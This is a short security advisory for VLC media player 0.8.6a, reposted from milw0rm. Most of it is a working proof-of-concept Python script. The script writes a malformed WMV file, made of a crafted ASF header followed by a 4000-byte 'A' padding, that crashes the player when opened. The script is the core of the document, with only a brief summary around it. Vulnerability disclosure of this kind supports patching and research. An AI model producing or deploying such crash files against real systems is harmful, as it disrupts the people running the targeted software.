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VLC Media Player DoS (Exploit)
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SUMMARY
VideoLAN is "a software project, which produces free software for video,
released under the GNU General Public License. The main product is the
cross-platform VLC media player - a highly portable multimedia player for
various audio and video formats".
Due to a vulnerability in VLC media player it is possible to crash the
application.
DETAILS
Vulnerable Systems:
* VLC media player 0.8.6a
Exploit:
print
"-----------------------------------------------------------------------"
print "# VLC media player 0.8.6a Denial of Service"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org";
print "# soundtrack: Territorial pissing (Nirvana)"
print "# Tested on Windows xp Professional SP2 all patched"
print "# Special thanks to rgod"
print
"-----------------------------------------------------------------------"
head = \
"\x30\x26\xb2\x75\x8e\x66\xcf\x11\xa6\xd9\x00\xaa\x00\x62\xce\x6c"+\
"\x66\x14\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x01\x02\xa1\xdc"+\
"\xab\x8c\x47\xa9\xcf\x11\x8e\xe4\x00\xc0\x0c\x20\x53\x65\x68\x00"+\
"\x00\x00\x00\x00\x00\x00\x88\xb6\x08\x46\x9a\x96\x6e\x45\x8d\xaf"+\
"\x90\x2c\xd0\xfc\xb6\x18\x52\x01\x1f\x00\x00\x00\x00\x00\x00\x5d"+\
"\x55\x03\x2e\xce\xc4\x01\x37\x05\x00\x00\x00\x00\x00\x00\xd0\x03"+\
"\xa1\x08\x00\x00\x00\x00\xf0\x64\x0c\x08\x00\x00\x00\x00\xb8\x0b"+\
"\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xee\x05\x00\x00\xee\x05"+\
"\x00\x00\x5e\x6a\x15\x00\xb5\x03\xbf\x5f\x2e\xa9\xcf\x11\x8e\xe3"+\
"\x00\xc0\x0c\x20\x53\x65\x45\x10\x00\x00\x00\x00\x00\x00\x11\xd2"+\
"\xd3\xab\xba\xa9\xcf\x11\x8e\xe6\x00\xc0\x0c\x20\x53\x65\x06\x00"+\
"\x17\x10\x00\x00\xa9\x46\x43\x7c\xe0\xef\xfc\x4b\xb2\x29\x39\x3e"+\
"\xde\x41\x5c\x85\x21\x00\x00\x00\x00\x00\x00\x00\x01\x00\x06\x66"+\
"\x00\x72\x00\x00\x00\x5d\x8b\xf1\x26\x84\x45\xec\x47\x9f\x5f\x0e"+\
"\x65\x1f\x04\x52\xc9\x1a\x00\x00\x00\x00\x00\x00\x00\x02\x01\xea"+\
"\xcb\xf8\xc5\xaf\x5b\x77\x48\x84\x67\xaa\x8c\x44\xfa\x4c\xca\x5a"+\
"\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x01\x00\x0c\x00\x02"+\
"\x00\x02\x00\x00\x00\x49\x00\x73\x00\x56\x00\x42\x00\x52\x00\x00"+\
"\x00\x00\x00\x00\x00\x01\x00\x34\x00\x00\x00\x06\x00\x00\x00\x44"+\
"\x00\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x43\x00\x6f\x00\x6e"+\
"\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x6e\x00\x63\x00\x65"+\
"\x00\x54\x00\x65\x00\x6d\x00\x70\x00\x6c\x00\x61\x00\x74\x00\x65"+\
"\x00\x00\x00\x4c\x00\x31\x00\x00\x00\x00\x00\x02\x00\x0c\x00\x02"+\
"\x00\x02\x00\x00\x00\x49\x00\x73\x00\x56\x00\x42\x00\x52\x00\x00"+\
"\x00\x01\x00\x00\x00\x02\x00\x34\x00\x00\x00\x04\x00\x00\x00\x44"+\
"\x00\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x43\x00\x6f\x00\x6e"+\
"\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x6e\x00\x63\x00\x65"+\
"\x00\x54\x00\x65\x00\x6d\x00\x70\x00\x6c\x00\x61\x00\x74\x00\x65"+\
"\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x2e\x00\x03\x00\x04"+\
"\x00\x00\x00"
buff = "A" * 4000
VLCFile = head + buff
fileOut = open('videolan.wmv','wb')
fileOut.write(VLCFile)
fileOut.close()
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.milw0rm.com/exploits/3129>
http://www.milw0rm.com/exploits/3129
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